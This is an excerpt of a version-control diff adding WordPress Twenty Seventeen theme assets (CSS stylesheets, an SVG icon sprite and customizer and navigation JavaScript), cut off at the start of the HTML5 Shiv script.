+	box-shadow: none;
+	background: none;
+	display: inline-block;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 50%;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 33.33%;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 25%;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 20%;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 16.66%;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 14.28%;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 12.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 11.11%;
+}
+
+.gallery-caption {
+	display: block;
+}
+
+/**
+ * 7.0 - Media Elements
+ */
+
+.mejs-container {
+	margin-bottom: 1.5em;
+}
+
+/* Audio Player */
+
+.mejs-controls a.mejs-horizontal-volume-slider,
+.mejs-controls a.mejs-horizontal-volume-slider:focus,
+.mejs-controls a.mejs-horizontal-volume-slider:hover {
+	background: transparent;
+	border: 0;
+}
+
+/* Playlist Color Overrides: Light */
+
+.wp-playlist-light {
+	border-color: #eee;
+	color: #222;
+}
+
+.wp-playlist-light .wp-playlist-current-item .wp-playlist-item-album {
+	color: #333;
+}
+
+.wp-playlist-light .wp-playlist-current-item .wp-playlist-item-artist {
+	color: #767676;
+}
+
+.wp-playlist-light .wp-playlist-item {
+	border-bottom: 1px dotted #eee;
+	-webkit-transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+	transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+}
+
+.wp-playlist-light .wp-playlist-item:hover,
+.wp-playlist-light .wp-playlist-item:focus {
+	border-bottom-color: rgba(0, 0, 0, 0);
+	background-color: #767676;
+	color: #fff;
+}
+
+.wp-playlist-light a.wp-playlist-caption:hover,
+.wp-playlist-light .wp-playlist-item:hover a,
+.wp-playlist-light .wp-playlist-item:focus a {
+	color: #fff;
+}
+
+/* Playlist Color Overrides: Dark */
+
+.wp-playlist-dark {
+	background: #222;
+	border-color: #333;
+}
+
+.wp-playlist-dark .mejs-container .mejs-controls {
+	background-color: #333;
+}
+
+.wp-playlist-dark .wp-playlist-caption {
+	color: #fff;
+}
+
+.wp-playlist-dark .wp-playlist-current-item .wp-playlist-item-album {
+	color: #eee;
+}
+
+.wp-playlist-dark .wp-playlist-current-item .wp-playlist-item-artist {
+	color: #aaa;
+}
+
+.wp-playlist-dark .wp-playlist-playing {
+	background-color: #333;
+}
+
+.wp-playlist-dark .wp-playlist-item {
+	border-bottom: 1px dotted #555;
+	-webkit-transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+	transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+}
+
+.wp-playlist-dark .wp-playlist-item:hover,
+.wp-playlist-dark .wp-playlist-item:focus {
+	border-bottom-color: rgba(0, 0, 0, 0);
+	background-color: #aaa;
+	color: #222;
+}
+
+.wp-playlist-dark a.wp-playlist-caption:hover,
+.wp-playlist-dark .wp-playlist-item:hover a,
+.wp-playlist-dark .wp-playlist-item:focus a {
+	color: #222;
+}
+
+/* Playlist Style Overrides */
+
+.wp-playlist {
+	padding: 0.625em 0.625em 0.3125em;
+}
+
+.wp-playlist-current-item .wp-playlist-item-title {
+	font-weight: 700;
+}
+
+.wp-playlist-current-item .wp-playlist-item-album {
+	font-style: normal;
+}
+
+.wp-playlist-current-item .wp-playlist-item-artist {
+	font-size: 10px;
+	font-size: 0.625rem;
+	font-weight: 800;
+	letter-spacing: 0.1818em;
+	text-transform: uppercase;
+}
+
+.wp-playlist-item {
+	padding: 0 0.3125em;
+	cursor: pointer;
+}
+
+.wp-playlist-item:last-of-type {
+	border-bottom: none;
+}
+
+.wp-playlist-item a {
+	padding: 0.3125em 0;
+	border-bottom: none;
+}
+
+.wp-playlist-item a,
+.wp-playlist-item a:focus,
+.wp-playlist-item a:hover {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	background: transparent;
+}
+
+.wp-playlist-item-length {
+	top: 5px;
+}
+
+/**
+ * 8.0 - RTL
+ */
+
+.rtl th {
+	text-align: right;
+}
+
+.rtl ol > li:before {
+	left: auto;
+	right: -1.5em;
+}
+
+.rtl li > ul,
+.rtl li > ol {
+	margin-left: 0;
+	margin-right: 1.5em;
+}
+
+.rtl .mejs-offscreen {
+	right: -10000px;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/ie8.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/ie8.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/ie8.css	(revision 56912)
@@ -0,0 +1,225 @@
+/*
+Theme Name: Twenty Seventeen
+Description: IE8 specific style.
+*/
+
+body {
+	font-size: 16px;
+}
+
+h1 {
+	font-size: 30px;
+	font-size: 1.875rem;
+}
+
+h2,
+.page .panel-content .recent-posts .entry-title {
+	font-size: 26px;
+	font-size: 1.625rem;
+}
+
+h3 {
+	font-size: 22px;
+	font-size: 1.375rem;
+}
+
+h4 {
+	font-size: 18px;
+	font-size: 1.125rem;
+}
+
+h5 {
+	font-size: 13px;
+	font-size: 0.8125rem;
+}
+
+h6 {
+	font-size: 16px;
+	font-size: 1rem;
+}
+
+img {
+	width: inherit;  /* Make images fill their parent's space. */
+}
+
+/* Fixes linked images */
+.entry-content a img,
+.widget a img {
+	filter: progid:DXImageTransform.Microsoft.DropShadow(OffX=0, OffY=5, Color=#ffffff);
+}
+
+/* Layout */
+
+.site-content {
+	padding: 6.5em 0 0;
+}
+
+/* Site Branding */
+
+.custom-header {
+	overflow: hidden;
+}
+
+.has-header-image.twentyseventeen-front-page .custom-header,
+.has-header-image.home.blog .custom-header {
+	display: block;
+}
+
+.custom-header-media {
+	background-position: bottom center;
+}
+
+.site-branding {
+	padding: 45px 0;
+}
+
+.has-header-image.twentyseventeen-front-page .site-branding,
+.has-header-image.home.blog .site-branding {
+	bottom: 0;
+	display: block;
+	left: 0;
+	height: auto;
+	padding-top: 0;
+	position: absolute;
+	width: 100%;
+}
+
+.has-header-image .custom-header-media img {
+	left: 0;
+	top: 0;
+}
+
+.site-title {
+	font-size: 36px;
+	font-weight: 700;
+}
+
+.site-description {
+	font-size: 16px;
+}
+
+/* Main Navigation */
+
+.navigation-top {
+	background: #fff;
+	position: relative;
+	z-index: 10;
+}
+
+.menu-toggle {
+	width: 150px;
+}
+
+.main-navigation ul#top-menu {
+	margin-bottom: -1px;
+	padding: 0;
+}
+
+.no-svg .dropdown-toggle {
+	padding: 0.25em 0 0;
+}
+
+.no-svg .dropdown-toggle.toggled-on {
+	padding: 0.75em 0 0;
+}
+
+.dropdown-toggle .svg-fallback.icon-angle-down {
+	-ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=-1, M12=1.2246467991473532e-16, M21=-1.2246467991473532e-16, M22=-1, SizingMethod='auto expand')";
+}
+
+.dropdown-toggle.toggled-on .svg-fallback.icon-angle-down {
+	-ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=1, M12=0, M21=0, M22=1, SizingMethod='auto expand')";
+}
+
+/* Front Page */
+
+.twentyseventeen-front-page.has-header-image .custom-header,
+.blog.home.has-header-image .custom-header,
+.panel-image {
+	height: 800px;
+	max-height: 800px;
+	padding-top: 0;
+}
+
+.twentyseventeen-front-page .custom-header-media,
+.blog.home .custom-header-media {
+	background-position: center center;
+}
+
+.twentyseventeen-front-page.has-header-image .site-branding,
+.home.blog.has-header-image .site-branding {
+	bottom: 20px;
+	position: absolute;
+	width: 100%;
+}
+
+.page .panel-content .entry-title,
+.page-title,
+.page .entry-title {
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 700;
+	letter-spacing: 0.14em;
+	text-transform: uppercase;
+}
+
+/* Posts */
+
+.blog .site-main > article,
+.archive .site-main > article,
+.search .site-main > article {
+	padding-bottom: 4em;
+}
+
+time.updated {
+	display: none;
+}
+
+time.published {
+	display: inline-block;
+}
+
+.blog .entry-title {
+	padding-top: 0;
+}
+
+.single-post .entry-title,
+.page .entry-title,
+.entry-meta + .entry-title {
+	font-size: 26px;
+	font-weight: 400;
+	letter-spacing: normal;
+	padding-top: 0;
+	text-transform: none;
+}
+
+.entry-footer .cat-links,
+.entry-footer .tags-links {
+	padding-left: 0;
+}
+
+.comment-author .avatar {
+	z-index: -1;
+}
+
+ol.children .children {
+	padding-left: 2em;
+}
+
+/* RTL Styles */
+
+.rtl .has-header-image.twentyseventeen-front-page .site-branding,
+.rtl .has-header-image.home.blog .site-branding {
+	left: auto;
+	right: 0;
+}
+
+.rtl .entry-footer .cat-links,
+.rtl .entry-footer .tags-links {
+	padding-right: 0;
+}
+
+.rtl ol.children .children {
+	padding-left: 0;
+	padding-right: 2em;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/ie9.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/ie9.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/ie9.css	(revision 56912)
@@ -0,0 +1,43 @@
+/*
+Theme Name: Twenty Seventeen
+Description: IE9 specific styles.
+*/
+
+.has-header-image.twentyseventeen-front-page .custom-header,
+.has-header-video.twentyseventeen-front-page .custom-header,
+.has-header-image.home.blog .custom-header,
+.has-header-video.home.blog .custom-header {
+	height: 300px;
+}
+
+.has-header-image .custom-header-media img,
+.has-header-video .custom-header-media video,
+.has-header-video .custom-header-media iframe {
+	min-width: 100%;
+}
+
+@media screen and (min-width: 30em) {
+
+	.has-header-image.twentyseventeen-front-page .custom-header,
+	.has-header-video.twentyseventeen-front-page .custom-header,
+	.has-header-image.home.blog .custom-header,
+	.has-header-video.home.blog .custom-header,
+	.twentyseventeen-front-page.has-header-image .custom-header-media,
+	.home.blog.has-header-image .custom-header-media,
+	.panel-image {
+		height: 700px;
+	}
+}
+
+@media screen and (min-width: 48em) {
+
+	.has-header-image.twentyseventeen-front-page .custom-header,
+	.has-header-video.twentyseventeen-front-page .custom-header,
+	.has-header-image.home.blog .custom-header,
+	.has-header-video.home.blog .custom-header,
+	.twentyseventeen-front-page.has-header-image .custom-header-media,
+	.home.blog.has-header-image .custom-header-media,
+	.panel-image {
+		height: 1000px;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/images/svg-icons.svg
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/images/svg-icons.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/images/svg-icons.svg	(revision 56912)
@@ -0,0 +1,155 @@
+<svg style="position: absolute; width: 0; height: 0; overflow: hidden;" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+<defs>
+<symbol id="icon-behance" viewBox="0 0 37 32">
+<path class="path1" d="M33 6.054h-9.125v2.214h9.125v-2.214zM28.5 13.661q-1.607 0-2.607 0.938t-1.107 2.545h7.286q-0.321-3.482-3.571-3.482zM28.786 24.107q1.125 0 2.179-0.571t1.357-1.554h3.946q-1.786 5.482-7.625 5.482-3.821 0-6.080-2.357t-2.259-6.196q0-3.714 2.33-6.17t6.009-2.455q2.464 0 4.295 1.214t2.732 3.196 0.902 4.429q0 0.304-0.036 0.839h-11.75q0 1.982 1.027 3.063t2.973 1.080zM4.946 23.214h5.286q3.661 0 3.661-2.982 0-3.214-3.554-3.214h-5.393v6.196zM4.946 13.625h5.018q1.393 0 2.205-0.652t0.813-2.027q0-2.571-3.393-2.571h-4.643v5.25zM0 4.536h10.607q1.554 0 2.768 0.25t2.259 0.848 1.607 1.723 0.563 2.75q0 3.232-3.071 4.696 2.036 0.571 3.071 2.054t1.036 3.643q0 1.339-0.438 2.438t-1.179 1.848-1.759 1.268-2.161 0.75-2.393 0.232h-10.911v-22.5z"></path>
+</symbol>
+<symbol id="icon-deviantart" viewBox="0 0 18 32">
+<path class="path1" d="M18.286 5.411l-5.411 10.393 0.429 0.554h4.982v7.411h-9.054l-0.786 0.536-2.536 4.875-0.536 0.536h-5.375v-5.411l5.411-10.411-0.429-0.536h-4.982v-7.411h9.054l0.786-0.536 2.536-4.875 0.536-0.536h5.375v5.411z"></path>
+</symbol>
+<symbol id="icon-medium" viewBox="0 0 32 32">
+<path class="path1" d="M10.661 7.518v20.946q0 0.446-0.223 0.759t-0.652 0.313q-0.304 0-0.589-0.143l-8.304-4.161q-0.375-0.179-0.634-0.598t-0.259-0.83v-20.357q0-0.357 0.179-0.607t0.518-0.25q0.25 0 0.786 0.268l9.125 4.571q0.054 0.054 0.054 0.089zM11.804 9.321l9.536 15.464-9.536-4.75v-10.714zM32 9.643v18.821q0 0.446-0.25 0.723t-0.679 0.277-0.839-0.232l-7.875-3.929zM31.946 7.5q0 0.054-4.58 7.491t-5.366 8.705l-6.964-11.321 5.786-9.411q0.304-0.5 0.929-0.5 0.25 0 0.464 0.107l9.661 4.821q0.071 0.036 0.071 0.107z"></path>
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+<path class="path1" d="M42.311 14.044c-0.178-0.178-0.533-0.356-0.711-0.356h-33.778l10.311-10.489c0.178-0.178 0.356-0.533 0.356-0.711 0-0.356-0.178-0.533-0.356-0.711l-1.6-1.422c-0.356-0.178-0.533-0.356-0.889-0.356s-0.533 0.178-0.711 0.356l-14.578 14.933c-0.178 0.178-0.356 0.533-0.356 0.711s0.178 0.533 0.356 0.711l14.756 14.933c0 0.178 0.356 0.356 0.533 0.356s0.533-0.178 0.711-0.356l1.6-1.6c0.178-0.178 0.356-0.533 0.356-0.711s-0.178-0.533-0.356-0.711l-10.311-10.489h33.778c0.178 0 0.533-0.178 0.711-0.356 0.356-0.178 0.533-0.356 0.533-0.711v-2.133c0-0.356-0.178-0.711-0.356-0.889z"></path>
+</symbol>
+<symbol id="icon-arrow-right" viewBox="0 0 43 32">
+<path class="path1" d="M0.356 17.956c0.178 0.178 0.533 0.356 0.711 0.356h33.778l-10.311 10.489c-0.178 0.178-0.356 0.533-0.356 0.711 0 0.356 0.178 0.533 0.356 0.711l1.6 1.6c0.178 0.178 0.533 0.356 0.711 0.356s0.533-0.178 0.711-0.356l14.756-14.933c0.178-0.356 0.356-0.711 0.356-0.889s-0.178-0.533-0.356-0.711l-14.756-14.933c0-0.178-0.356-0.356-0.533-0.356s-0.533 0.178-0.711 0.356l-1.6 1.6c-0.178 0.178-0.356 0.533-0.356 0.711s0.178 0.533 0.356 0.711l10.311 10.489h-33.778c-0.178 0-0.533 0.178-0.711 0.356-0.356 0.178-0.533 0.356-0.533 0.711v2.311c0 0.178 0.178 0.533 0.356 0.711z"></path>
+</symbol>
+<symbol id="icon-play" viewBox="0 0 22 28">
+<path d="M21.625 14.484l-20.75 11.531c-0.484 0.266-0.875 0.031-0.875-0.516v-23c0-0.547 0.391-0.781 0.875-0.516l20.75 11.531c0.484 0.266 0.484 0.703 0 0.969z"></path>
+</symbol>
+<symbol id="icon-pause" viewBox="0 0 24 28">
+<path d="M24 3v22c0 0.547-0.453 1-1 1h-8c-0.547 0-1-0.453-1-1v-22c0-0.547 0.453-1 1-1h8c0.547 0 1 0.453 1 1zM10 3v22c0 0.547-0.453 1-1 1h-8c-0.547 0-1-0.453-1-1v-22c0-0.547 0.453-1 1-1h8c0.547 0 1 0.453 1 1z"></path>
+</symbol>
+</defs>
+</svg>
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/customize-controls.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/customize-controls.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/customize-controls.js	(revision 56912)
@@ -0,0 +1,36 @@
+/**
+ * Scripts within the customizer controls window.
+ *
+ * Contextually shows the color hue control and informs the preview
+ * when users open or close the front page sections section.
+ */
+
+(function() {
+	wp.customize.bind( 'ready', function() {
+
+		// Only show the color hue control when there's a custom color scheme.
+		wp.customize( 'colorscheme', function( setting ) {
+			wp.customize.control( 'colorscheme_hue', function( control ) {
+				var visibility = function() {
+					if ( 'custom' === setting.get() ) {
+						control.container.slideDown( 180 );
+					} else {
+						control.container.slideUp( 180 );
+					}
+				};
+
+				visibility();
+				setting.bind( visibility );
+			});
+		});
+
+		// Detect when the front page sections section is expanded (or closed) so we can adjust the preview accordingly.
+		wp.customize.section( 'theme_options', function( section ) {
+			section.expanded.bind( function( isExpanding ) {
+
+				// Value of isExpanding will = true if you're entering the section, false if you're leaving it.
+				wp.customize.previewer.send( 'section-highlight', { expanded: isExpanding });
+			} );
+		} );
+	});
+})( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/customize-preview.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/customize-preview.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/customize-preview.js	(revision 56912)
@@ -0,0 +1,150 @@
+/**
+ * File customize-preview.js.
+ *
+ * Instantly live-update customizer settings in the preview for improved user experience.
+ */
+
+(function( $ ) {
+
+	// Collect information from customize-controls.js about which panels are opening.
+	wp.customize.bind( 'preview-ready', function() {
+
+		// Initially hide the theme option placeholders on load
+		$( '.panel-placeholder' ).hide();
+
+		wp.customize.preview.bind( 'section-highlight', function( data ) {
+
+			// Only on the front page.
+			if ( ! $( 'body' ).hasClass( 'twentyseventeen-front-page' ) ) {
+				return;
+			}
+
+			// When the section is expanded, show and scroll to the content placeholders, exposing the edit links.
+			if ( true === data.expanded ) {
+				$( 'body' ).addClass( 'highlight-front-sections' );
+				$( '.panel-placeholder' ).slideDown( 200, function() {
+					$.scrollTo( $( '#panel1' ), {
+						duration: 600,
+						offset: { 'top': -70 } // Account for sticky menu.
+					});
+				});
+
+			// If we've left the panel, hide the placeholders and scroll back to the top.
+			} else {
+				$( 'body' ).removeClass( 'highlight-front-sections' );
+				// Don't change scroll when leaving - it's likely to have unintended consequences.
+				$( '.panel-placeholder' ).slideUp( 200 );
+			}
+		});
+	});
+
+	// Site title and description.
+	wp.customize( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-title a' ).text( to );
+		});
+	});
+	wp.customize( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-description' ).text( to );
+		});
+	});
+
+	// Header text color.
+	wp.customize( 'header_textcolor', function( value ) {
+		value.bind( function( to ) {
+			if ( 'blank' === to ) {
+				$( '.site-title, .site-description' ).css({
+					clip: 'rect(1px, 1px, 1px, 1px)',
+					position: 'absolute'
+				});
+				// Add class for different logo styles if title and description are hidden.
+				$( 'body' ).addClass( 'title-tagline-hidden' );
+			} else {
+
+				// Check if the text color has been removed and use default colors in theme stylesheet.
+				if ( ! to.length ) {
+					$( '#twentyseventeen-custom-header-styles' ).remove();
+				}
+				$( '.site-title, .site-description' ).css({
+					clip: 'auto',
+					position: 'relative'
+				});
+				$( '.site-branding, .site-branding a, .site-description, .site-description a' ).css({
+					color: to
+				});
+				// Add class for different logo styles if title and description are visible.
+				$( 'body' ).removeClass( 'title-tagline-hidden' );
+			}
+		});
+	});
+
+	// Color scheme.
+	wp.customize( 'colorscheme', function( value ) {
+		value.bind( function( to ) {
+
+			// Update color body class.
+			$( 'body' )
+				.removeClass( 'colors-light colors-dark colors-custom' )
+				.addClass( 'colors-' + to );
+		});
+	});
+
+	// Custom color hue.
+	wp.customize( 'colorscheme_hue', function( value ) {
+		value.bind( function( to ) {
+
+			// Update custom color CSS.
+			var style = $( '#custom-theme-colors' ),
+				hue = style.data( 'hue' ),
+				css = style.html();
+
+			// Equivalent to css.replaceAll, with hue followed by comma to prevent values with units from being changed.
+			css = css.split( hue + ',' ).join( to + ',' );
+			style.html( css ).data( 'hue', to );
+		});
+	});
+
+	// Page layouts.
+	wp.customize( 'page_layout', function( value ) {
+		value.bind( function( to ) {
+			if ( 'one-column' === to ) {
+				$( 'body' ).addClass( 'page-one-column' ).removeClass( 'page-two-column' );
+			} else {
+				$( 'body' ).removeClass( 'page-one-column' ).addClass( 'page-two-column' );
+			}
+		} );
+	} );
+
+	// Whether a header image is available.
+	function hasHeaderImage() {
+		var image = wp.customize( 'header_image' )();
+		return '' !== image && 'remove-header' !== image;
+	}
+
+	// Whether a header video is available.
+	function hasHeaderVideo() {
+		var externalVideo = wp.customize( 'external_header_video' )(),
+			video = wp.customize( 'header_video' )();
+
+		return '' !== externalVideo || ( 0 !== video && '' !== video );
+	}
+
+	// Toggle a body class if a custom header exists.
+	$.each( [ 'external_header_video', 'header_image', 'header_video' ], function( index, settingId ) {
+		wp.customize( settingId, function( setting ) {
+			setting.bind(function() {
+				if ( hasHeaderImage() ) {
+					$( document.body ).addClass( 'has-header-image' );
+				} else {
+					$( document.body ).removeClass( 'has-header-image' );
+				}
+
+				if ( ! hasHeaderVideo() ) {
+					$( document.body ).removeClass( 'has-header-video' );
+				}
+			} );
+		} );
+	} );
+
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/global.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/global.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/global.js	(revision 56912)
@@ -0,0 +1,249 @@
+/* global twentyseventeenScreenReaderText */
+(function( $ ) {
+
+	// Variables and DOM Caching.
+	var $body = $( 'body' ),
+		$customHeader = $body.find( '.custom-header' ),
+		$branding = $customHeader.find( '.site-branding' ),
+		$navigation = $body.find( '.navigation-top' ),
+		$navWrap = $navigation.find( '.wrap' ),
+		$navMenuItem = $navigation.find( '.menu-item' ),
+		$menuToggle = $navigation.find( '.menu-toggle' ),
+		$menuScrollDown = $body.find( '.menu-scroll-down' ),
+		$sidebar = $body.find( '#secondary' ),
+		$entryContent = $body.find( '.entry-content' ),
+		$formatQuote = $body.find( '.format-quote blockquote' ),
+		isFrontPage = $body.hasClass( 'twentyseventeen-front-page' ) || $body.hasClass( 'home blog' ),
+		navigationFixedClass = 'site-navigation-fixed',
+		navigationHeight,
+		navigationOuterHeight,
+		navPadding,
+		navMenuItemHeight,
+		idealNavHeight,
+		navIsNotTooTall,
+		headerOffset,
+		menuTop = 0,
+		resizeTimer;
+
+	// Ensure the sticky navigation doesn't cover current focused links.
+	$( 'a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, [tabindex], [contenteditable]', '.site-content-contain' ).filter( ':visible' ).focus( function() {
+		if ( $navigation.hasClass( 'site-navigation-fixed' ) ) {
+			var windowScrollTop = $( window ).scrollTop(),
+				fixedNavHeight = $navigation.height(),
+				itemScrollTop = $( this ).offset().top,
+				offsetDiff = itemScrollTop - windowScrollTop;
+
+			// Account for Admin bar.
+			if ( $( '#wpadminbar' ).length ) {
+				offsetDiff -= $( '#wpadminbar' ).height();
+			}
+
+			if ( offsetDiff < fixedNavHeight ) {
+				$( window ).scrollTo( itemScrollTop - ( fixedNavHeight + 50 ), 0 );
+			}
+		}
+	});
+
+	// Set properties of navigation.
+	function setNavProps() {
+		navigationHeight      = $navigation.height();
+		navigationOuterHeight = $navigation.outerHeight();
+		navPadding            = parseFloat( $navWrap.css( 'padding-top' ) ) * 2;
+		navMenuItemHeight     = $navMenuItem.outerHeight() * 2;
+		idealNavHeight        = navPadding + navMenuItemHeight;
+		navIsNotTooTall       = navigationHeight <= idealNavHeight;
+	}
+
+	// Make navigation 'stick'.
+	function adjustScrollClass() {
+
+		// Make sure we're not on a mobile screen.
+		if ( 'none' === $menuToggle.css( 'display' ) ) {
+
+			// Make sure the nav isn't taller than two rows.
+			if ( navIsNotTooTall ) {
+
+				// When there's a custom header image or video, the header offset includes the height of the navigation.
+				if ( isFrontPage && ( $body.hasClass( 'has-header-image' ) || $body.hasClass( 'has-header-video' ) ) ) {
+					headerOffset = $customHeader.innerHeight() - navigationOuterHeight;
+				} else {
+					headerOffset = $customHeader.innerHeight();
+				}
+
+				// If the scroll is more than the custom header, set the fixed class.
+				if ( $( window ).scrollTop() >= headerOffset ) {
+					$navigation.addClass( navigationFixedClass );
+				} else {
+					$navigation.removeClass( navigationFixedClass );
+				}
+
+			} else {
+
+				// Remove 'fixed' class if nav is taller than two rows.
+				$navigation.removeClass( navigationFixedClass );
+			}
+		}
+	}
+
+	// Set margins of branding in header.
+	function adjustHeaderHeight() {
+		if ( 'none' === $menuToggle.css( 'display' ) ) {
+
+			// The margin should be applied to different elements on front-page or home vs interior pages.
+			if ( isFrontPage ) {
+				$branding.css( 'margin-bottom', navigationOuterHeight );
+			} else {
+				$customHeader.css( 'margin-bottom', navigationOuterHeight );
+			}
+
+		} else {
+			$customHeader.css( 'margin-bottom', '0' );
+			$branding.css( 'margin-bottom', '0' );
+		}
+	}
+
+	// Set icon for quotes.
+	function setQuotesIcon() {
+		$( twentyseventeenScreenReaderText.quote ).prependTo( $formatQuote );
+	}
+
+	// Add 'below-entry-meta' class to elements.
+	function belowEntryMetaClass( param ) {
+		var sidebarPos, sidebarPosBottom;
+
+		if ( ! $body.hasClass( 'has-sidebar' ) || (
+			$body.hasClass( 'search' ) ||
+			$body.hasClass( 'single-attachment' ) ||
+			$body.hasClass( 'error404' ) ||
+			$body.hasClass( 'twentyseventeen-front-page' )
+		) ) {
+			return;
+		}
+
+		sidebarPos       = $sidebar.offset();
+		sidebarPosBottom = sidebarPos.top + ( $sidebar.height() + 28 );
+
+		$entryContent.find( param ).each( function() {
+			var $element = $( this ),
+				elementPos = $element.offset(),
+				elementPosTop = elementPos.top;
+
+			// Add 'below-entry-meta' to elements below the entry meta.
+			if ( elementPosTop > sidebarPosBottom ) {
+				$element.addClass( 'below-entry-meta' );
+			} else {
+				$element.removeClass( 'below-entry-meta' );
+			}
+		});
+	}
+
+	/*
+	 * Test if inline SVGs are supported.
+	 * @link https://github.com/Modernizr/Modernizr/
+	 */
+	function supportsInlineSVG() {
+		var div = document.createElement( 'div' );
+		div.innerHTML = '<svg/>';
+		return 'http://www.w3.org/2000/svg' === ( 'undefined' !== typeof SVGRect && div.firstChild && div.firstChild.namespaceURI );
+	}
+
+	/**
+	 * Test if an iOS device.
+	*/
+	function checkiOS() {
+		return /iPad|iPhone|iPod/.test(navigator.userAgent) && ! window.MSStream;
+	}
+
+	/*
+	 * Test if background-attachment: fixed is supported.
+	 * @link http://stackoverflow.com/questions/14115080/detect-support-for-background-attachment-fixed
+	 */
+	function supportsFixedBackground() {
+		var el = document.createElement('div'),
+			isSupported;
+
+		try {
+			if ( ! ( 'backgroundAttachment' in el.style ) || checkiOS() ) {
+				return false;
+			}
+			el.style.backgroundAttachment = 'fixed';
+			isSupported = ( 'fixed' === el.style.backgroundAttachment );
+			return isSupported;
+		}
+		catch (e) {
+			return false;
+		}
+	}
+
+	// Fire on document ready.
+	$( document ).ready( function() {
+
+		// If navigation menu is present on page, setNavProps and adjustScrollClass.
+		if ( $navigation.length ) {
+			setNavProps();
+			adjustScrollClass();
+		}
+
+		// If 'Scroll Down' arrow in present on page, calculate scroll offset and bind an event handler to the click event.
+		if ( $menuScrollDown.length ) {
+
+			if ( $( 'body' ).hasClass( 'admin-bar' ) ) {
+				menuTop -= 32;
+			}
+			if ( $( 'body' ).hasClass( 'blog' ) ) {
+				menuTop -= 30; // The div for latest posts has no space above content, add some to account for this.
+			}
+			if ( ! $navigation.length ) {
+				navigationOuterHeight = 0;
+			}
+
+			$menuScrollDown.click( function( e ) {
+				e.preventDefault();
+				$( window ).scrollTo( '#primary', {
+					duration: 600,
+					offset: { top: menuTop - navigationOuterHeight }
+				});
+			});
+		}
+
+		adjustHeaderHeight();
+		setQuotesIcon();
+		if ( true === supportsInlineSVG() ) {
+			document.documentElement.className = document.documentElement.className.replace( /(\s*)no-svg(\s*)/, '$1svg$2' );
+		}
+
+		if ( true === supportsFixedBackground() ) {
+			document.documentElement.className += ' background-fixed';
+		}
+	});
+
+	// If navigation menu is present on page, adjust it on scroll and screen resize.
+	if ( $navigation.length ) {
+
+		// On scroll, we want to stick/unstick the navigation.
+		$( window ).on( 'scroll', function() {
+			adjustScrollClass();
+			adjustHeaderHeight();
+		});
+
+		// Also want to make sure the navigation is where it should be on resize.
+		$( window ).resize( function() {
+			setNavProps();
+			setTimeout( adjustScrollClass, 500 );
+		});
+	}
+
+	$( window ).resize( function() {
+		clearTimeout( resizeTimer );
+		resizeTimer = setTimeout( function() {
+			belowEntryMetaClass( 'blockquote.alignleft, blockquote.alignright' );
+		}, 300 );
+		setTimeout( adjustHeaderHeight, 1000 );
+	});
+
+	// Add header video class after the video is loaded.
+	$( document ).on( 'wp-custom-header-video-loaded', function() {
+		$body.addClass( 'has-header-video' );
+	});
+
+})( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/html5.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/html5.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/html5.js	(revision 56912)
@@ -0,0 +1,326 @@
+/**
+* @preserve HTML5 Shiv 3.7.3 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+*/
+;(function(window, document) {
+/*jshint evil:true */
+  /** version */
+  var version = '3.7.3';
+
+  /** Preset options */
+  var options = window.html5 || {};
+
+  /** Used to skip problem elements */
+  var reSkip = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i;
+
+  /** Not all elements can be cloned in IE **/
+  var saveClones = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i;
+
